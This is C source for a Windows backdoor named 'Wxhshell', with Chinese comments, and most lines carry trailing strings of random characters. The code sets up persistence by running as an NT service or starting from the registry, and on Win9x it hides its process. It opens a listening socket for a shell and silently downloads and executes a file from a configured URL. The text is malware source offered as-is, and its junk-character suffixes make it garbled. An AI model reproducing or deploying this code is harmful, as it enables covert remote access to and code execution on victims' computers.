{ '/K-i.8F
DWORD ExitStatus; Tz 2<# pLR
DWORD PebBaseAddress; m~l[Y
DWORD AffinityMask; y3)R:h4AH
DWORD BasePriority; 7s'r3}B`
ULONG UniqueProcessId; uY*|bD`6&
ULONG InheritedFromUniqueProcessId; cT,5xp"a
} PROCESS_BASIC_INFORMATION; PU{7s
]QK@zb}x
PROCNTQSIP NtQueryInformationProcess; 9lCZi?
,L,?xvWG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zFGZ;?i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SBqx_4}
`DcZpd.n
HANDLE hProcess; o&vODs
PROCESS_BASIC_INFORMATION pbi; f/K:~#k
bx8|_K*^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ex3V[v+D(
if(NULL == hInst ) return 0; @&E{
L
x1nqhSaD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c=A)_ZFg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LG3:V'|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %$.]g
{Tym#
if (!NtQueryInformationProcess) return 0; }Qo:;&"3
97n@HL1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); < &~KYu\r
if(!hProcess) return 0; _'47yq^O
En]+mIEo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pX/,s#dY>
.}zpvr8YP
CloseHandle(hProcess); v3{[rK}
h(VF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M<x
W)R
if(hProcess==NULL) return 0; W2\Q-4D
TWFi.w4pY
HMODULE hMod; ^@0-E@ {c
char procName[255]; Sx%vJYH0
unsigned long cbNeeded;
S9Ka
zIjUfgO/M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Y@ia]x&P
y
2v69nu~q
CloseHandle(hProcess); VAC iVKk
/cZ-tSC)o
if(strstr(procName,"services")) return 1; // 以服务启动 /\)a
Gy[O)PEEh
return 0; // 注册表启动 3/#:~a9Q
} KLX/O1B
'Z`$n8
// 主模块 ~8m=1)A{(
int StartWxhshell(LPSTR lpCmdLine) ~y$ !48o
{ !`mZ0c+
SOCKET wsl; R1Ye<R!Q
BOOL val=TRUE; "z<azs
int port=0; Va$Pi19 O
struct sockaddr_in door; iV fgDo
L}m8AAkP[
if(wscfg.ws_autoins) Install(); pZyQY+O
8?Z4-6!{V,
port=atoi(lpCmdLine); |7KeR-
x3rlJs`$;
if(port<=0) port=wscfg.ws_port; >q7BVF6V|
%Qm k2
WSADATA data; YJ:3!B>Zo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +ki{H}G21
>]%8Zx[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }KD;0t4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); StI1){Wf
door.sin_family = AF_INET;
8L*GE
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8J)xzp`*)
door.sin_port = htons(port); VxFOYC>p
DKVT(#@T
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ys8SDlMo
closesocket(wsl); ?m
c%.Bt
return 1; it2 a
} rfw-^`&{
wC-Rr^q
if(listen(wsl,2) == INVALID_SOCKET) { )+H[kiN
closesocket(wsl); k0Ek:MjJr
return 1; nv<` K9d
} 1.q_f<U
Wxhshell(wsl); s6o>m*{
WSACleanup(); M/z}p
:SV>+EDY
return 0; RmI1`
_owjTo}
} ]B=C|usJ
1p'Le!
// 以NT服务方式启动 C!C|\$)-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ",>H(wJ8
{ p
h[\)
DWORD status = 0; !6}O.Nu
DWORD specificError = 0xfffffff; 8q)=
-A-tuyIsh"
serviceStatus.dwServiceType = SERVICE_WIN32; 79=45' 8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'lZ.j&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V\K<$?oUb
serviceStatus.dwWin32ExitCode = 0; \C5%\4
serviceStatus.dwServiceSpecificExitCode = 0; dd|W@Xp -
serviceStatus.dwCheckPoint = 0; Iak0 [6Ey
serviceStatus.dwWaitHint = 0; vVT?h
-6sW6;Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2u?zO7W)-L
if (hServiceStatusHandle==0) return; &L^CCi
h8jD}9^
status = GetLastError(); o/o:2p.
if (status!=NO_ERROR) S=3^Q;V/1
{ zhB ">j8j
serviceStatus.dwCurrentState = SERVICE_STOPPED; (c v!Y=]
serviceStatus.dwCheckPoint = 0; tZ2e!<C
serviceStatus.dwWaitHint = 0; D@X+{
serviceStatus.dwWin32ExitCode = status; /XS&d%y
serviceStatus.dwServiceSpecificExitCode = specificError; ]TstSF=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); irTv4ZE'+l
return; 0uCT+-
} vw<K}z
Q+i\8RJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; <Q<+4Y{R
serviceStatus.dwCheckPoint = 0; ;3C:%!CdA]
serviceStatus.dwWaitHint = 0; H(Ms^8Vs~:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A>.2OC+
} p4VSma_(
PNSMcakD
// 处理NT服务事件,比如:启动、停止 Eaad,VBtU
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ml>( tec
{ (Y(E%
switch(fdwControl) @;wzsh >o
{ dV 8iwI
case SERVICE_CONTROL_STOP: p$;I'
serviceStatus.dwWin32ExitCode = 0; rsa&Oo
D>
serviceStatus.dwCurrentState = SERVICE_STOPPED; )R{UXk3q}
serviceStatus.dwCheckPoint = 0; 4 c'4*`I
serviceStatus.dwWaitHint = 0; (P6vOo
{ 6g>)6ux>aV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AY_Q""v
} o/^;@5\
return; TJ6#P<M
case SERVICE_CONTROL_PAUSE: 59Sw+iZj
serviceStatus.dwCurrentState = SERVICE_PAUSED; NHX>2-b
break; \Btk;ivg
case SERVICE_CONTROL_CONTINUE: [RU
NuO
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9h(IUD{8
break; #f'DEo<b
case SERVICE_CONTROL_INTERROGATE: o07IcIo
break; pw'wWZE'
}; YnV/M,U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g dj^df+2F
} +?`b=6e(`
@kD8^,( oH
// 标准应用程序主函数 8(X0
:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _|isa]u\z
{ wz -)1!
TF+
l5fv
// 获取操作系统版本 TA}UY7v
OsIsNt=GetOsVer(); EEf ]u7
GetModuleFileName(NULL,ExeFile,MAX_PATH); R_Dc)
)"O{D`uX
// 从命令行安装 6&2LWaWMo$
if(strpbrk(lpCmdLine,"iI")) Install(); ;)!"Ty|
G5]1s
// 下载执行文件 9-jO,l
if(wscfg.ws_downexe) { KO]N%]:&~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w\|Ei(
WinExec(wscfg.ws_filenam,SW_HIDE); i~qfGl p6)
} .6T6 S
v
2Eh@e([PMs
if(!OsIsNt) { SlT*C6f
// 如果时win9x,隐藏进程并且设置为注册表启动 =;c_} VY
HideProc(); B!aK
StartWxhshell(lpCmdLine);
YRB%:D@u
} : \V,k~asl
else ]@xL=%
if(StartFromService()) |Svk^m q
// 以服务方式启动 #A <1aQ
StartServiceCtrlDispatcher(DispatchTable); &A50'8B2A
else #GqTqHNE<
// 普通方式启动 XKLF8~y8A
StartWxhshell(lpCmdLine); DOm-)zl{|x
T<jfAE
return 0; nx4P^PC
}